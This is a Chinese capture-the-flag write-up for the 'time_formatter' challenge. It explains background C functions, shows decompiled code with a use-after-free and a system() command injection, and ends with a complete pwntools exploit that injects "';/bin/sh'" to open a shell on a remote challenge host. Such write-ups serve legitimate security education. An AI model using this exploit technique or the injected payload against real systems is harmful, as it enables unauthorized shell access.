• time_formatter writeup


    攻防世界time_formatter writeup

    UAF漏洞和命令注入。

    前置知识

    1、strdup函数

    char * __strdup(const char *s)
    {
       size_t  len = strlen(s) +1;
       void *new = malloc(len);
       if (new == NULL)
          return NULL;
       return (char *)memecpy(new,s,len);
    }

    strdup函数实现如上所示,strup函数拷贝字符串的副本到一块动态申请的内存中。

    2、snprintf函数

    snprintf函数原型:int snprintf(char *str, int n, char * format [, argument, ...])

    str是目的字符串指针,snprintf从format中拷贝n个字符串到str中去,argument是参数。

    3、getenv函数和setenv函数

    getenv函数用来获取环境变量的值,setenv函数用来改变环境变量的值或者增加环境变量。

    getenv函数原型:char * getenv(const char *name)

    setenv函数原型:char * setenv(const char *name,const char * value,int overwrite)

    name表示环境变量名,value表示环境变量的值,overwrite不为0表示可以修改和添加环境变量的值,overwrite为0表示环境变量已经有值,这时候value会被忽略。

    程序分析

    主调函数如下所示:

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      __gid_t v3; // eax
      FILE *v4; // rdi
      __int64 v5; // rdx
      int v6; // eax
      __int64 result; // rax
    
      v3 = getegid();
      setresgid(v3, v3, v3);
      setbuf(stdout, 0LL);
      puts("Welcome to Mary's Unix Time Formatter!");
      while ( 1 )
      {
        puts("1) Set a time format.");
        puts("2) Set a time.");
        puts("3) Set a time zone.");
        puts("4) Print your time.");
        puts("5) Exit.");
        __printf_chk(1LL, (__int64)"> ");
        v4 = stdout;
        fflush(stdout);
        switch ( str2int() )
        {
          case 1:
            v6 = set_time_format();
            goto LABEL_8;
          case 2:
            v6 = set_time();
            goto LABEL_8;
          case 3:
            v6 = set_time_zone();
            goto LABEL_8;
          case 4:
            v6 = print_time((__int64)v4, (__int64)"> ", v5);
    LABEL_8:
            if ( !v6 )
              continue;
            return 0LL;
          case 5:
            exit();
            return result;
          default:
            continue;
        }
      }
    }

     set_time_format函数如下所示:

    __int64 sub_400E00()
    {
      char *v0; // rbx
    
      v0 = add();
      if ( (unsigned int)check_time_format(v0) )
      {
        ptr = v0;
        puts("Format set.");
      }
      else
      {
        puts("Format contains invalid characters.");
        delete(v0);
      }
      return 0LL;
    }
    char *add()
    {
      __int64 v0; // rdx
      __int64 v1; // rcx
      char s[1024]; // [rsp+8h] [rbp-410h]
      unsigned __int64 v4; // [rsp+408h] [rbp-10h]
    
      v4 = __readfsqword(0x28u);
      __printf_chk(1LL, (__int64)"%s");
      fflush(stdout);
      fgets(s, 1024, stdin);
      s[strcspn(s, "
    ")] = 0;
      return sub_400C26(s, (__int64)"
    ", v0, v1);
    }

     set_time_zone函数如下所示:

    __int64 sub_400E43()
    {
      value = add();
      puts("Time zone set.");
      return 0LL;
    }

    exit_time函数如下所示:

    signed __int64 __noreturn exit()
    {
      signed __int64 result; // rax
      char s; // [rsp+8h] [rbp-20h]
      unsigned __int64 v2; // [rsp+18h] [rbp-10h]
    
      v2 = __readfsqword(0x28u);
      delete(ptr);
      delete(value);
      __printf_chk(1LL, (__int64)"Are you sure you want to exit (y/N)? ");
      fflush(stdout);
      fgets(&s, 16, stdin);
      result = 0LL;
      if ( (s & 0xDF) == 89 )
      {
        puts("OK, exiting.");
        result = 1LL;
      }
      return result;
    }

    print_time函数如下所示:

    __int64 __fastcall print_time(__int64 a1, __int64 a2, __int64 a3)
    {
      char command; // [rsp+8h] [rbp-810h]
      unsigned __int64 v5; // [rsp+808h] [rbp-10h]
    
      v5 = __readfsqword(0x28u);
      if ( ptr )
      {
        __snprintf_chk(
          (__int64)&command,
          2048LL,
          1LL,
          2048LL,
          (__int64)"/bin/date -d @%d +'%s'",
          (unsigned int)dword_602120,
          (__int64)ptr,
          a3);
        __printf_chk(1LL, (__int64)"Your formatted time is: ");
        fflush(stdout);
        if ( getenv("DEBUG") )
          __fprintf_chk(stderr, 1LL, (__int64)"Running command: %s
    ", (__int64)&command);
        setenv("TZ", value, 1);                     // setenv函数这里添加环境变量
        system(&command);
      }
      else
      {
        puts("You haven't specified a format!");
      }
      return 0LL;
    }

    如果我们可以把构造语句,把command中的命令构造为';/bin/sh'(单引号是为了闭合语句中的单引号),通过system函数就可以getshell。但是如果在set_time_format函数中输入';/bin/sh'会被过滤掉,所以我们这里要利用uaf漏洞,首先通过set_time_format函数申请一块堆块,然后exit_time释放掉,通过set_time_zone重新将释放的堆块分配出来,构造语句来执行。

    EXP

    from pwn import *
    from pwnlib import *
    DEBUG=0
    if DEBUG:
        io=process('./time_formatter')
    else:
        io=remote('220.249.52.133',49902)
    
    elf=ELF('./time_formatter')
    puts_got=elf.got['puts']
    puts_system=elf.got['system']
    fgets_got=elf.got['fgets']
    atoi_got=elf.got['atoi']
    system_got=elf.got['system']
    
    def launch_gdb():
        context.terminal=['gnome-terminal','-x','sh','-c']
        gdb.attach(proc.pidof(io)[0])
    
    def set_time_format(content):
        io.recvuntil('> ')
        io.sendline(str(1))
        io.recvuntil('Format: ')
        io.sendline(content)
    
    def set_time_format_err(content):
        io.recvuntil('> ')
        io.sendline(str(1))
        io.recvuntil('Format: ')
        io.sendline(content)
    
    def set_time(Unix_time):
        io.recvuntil('> ')
        io.sendline(str(2))
        io.recvuntil('Enter your unix time: ')
        io.sendline(str(Unix_time))
    
    def set_time_zone(zone):
        io.recvuntil('> ')
        io.sendline(str(3))
        io.recvuntil('Time zone: ')
        io.sendline(zone)
    
    def print_time():
        io.recvuntil('> ')
        io.send(str(4))
    
    def exit_time():
        io.recvuntil('>')
        io.sendline(str(5))
        io.recvuntil('Are you sure you want to exit (y/N)? ')
        io.sendline('N')
        
    
    #launch_gdb()
    content1='aaaa'
    set_time_format(content1)
    exit_time()
    set_time_zone("';/bin/sh'")
    print_time()
    io.interactive()
  • 相关阅读:
    flex 鼠标事件和效果
    查看和修改Oracle服务器端的字符集
    Oracle随机抽取数据sql
    hibernate.properties
    Oracle11g物理文件冷备份(转)
    支付宝接口使用文档说明 支付宝异步通知(notify_url)与return_url
    关于Oracle的行转列
    Intellij idea 12 tomcat日志窗口不显示问题
    在Servlet中获取来源URL
    uniapp 实现小程序列表项左滑菜单
  • 原文地址:https://www.cnblogs.com/L0g4n-blog/p/13559040.html
Copyright © 2020-2023  润新知